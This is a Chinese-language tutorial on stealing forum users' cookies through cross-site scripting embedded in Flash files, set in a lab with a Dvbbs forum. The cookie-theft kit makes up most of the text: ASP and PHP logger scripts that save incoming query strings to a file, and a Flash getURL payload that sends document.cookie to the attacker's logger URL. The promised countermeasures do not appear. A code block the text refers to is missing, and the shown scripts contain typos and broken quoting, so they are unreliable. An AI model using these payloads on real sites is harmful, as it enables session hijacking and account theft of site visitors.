【IT专家网独家】Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。
虚拟机部署如下测试环境:
操作系统:windows 2003
web服务器:IIS6.0
论坛:动网Version 7.1.0 Sp1
工具
Falsh 8.0
记事本
前置知识:
首先,先说明一下什么是跨站脚本攻击(CSS/XSS)吧!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或XSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。
一、准备
(一)准备脚本
1、ASP脚本
第一步:构造攻击脚本
打开记事本输入如下代码输入并保存为cookies_flash.asp:
| <% testfile=server.mappath("cookies.txt") msg=request("msg") set fs=server.createobject("scripting.filesystemobject") set thisfile=fs.opentextfile(testfile,8,true,0) thisfile.writeline("&msg$") thisfile=close set fs=nothing %> |
第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:
http://192.168.0.5/flash/cookies_flash.asp
2、PHP脚本
第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php:
| <?php $info=getenv('query_srring'); if(info){ $fp=fopen('cookies.txt,'a'); fwrite($fp,$info,'\n); fclose($fp); } ?> |
第二步:上传cookies_flash.php到PHP论坛根目录,比如URL地址为:
http://192.168.0.5/flash/cookies_flash.php
提示:由于ASP和PHP的Flash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。
(二)准备Flash
第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:
| getURL("javascript:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')"); |

图1
第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:
http://192.168.0.5/flash/cookies.swf
补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:
(上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASH的getURL函数调用PUR1)

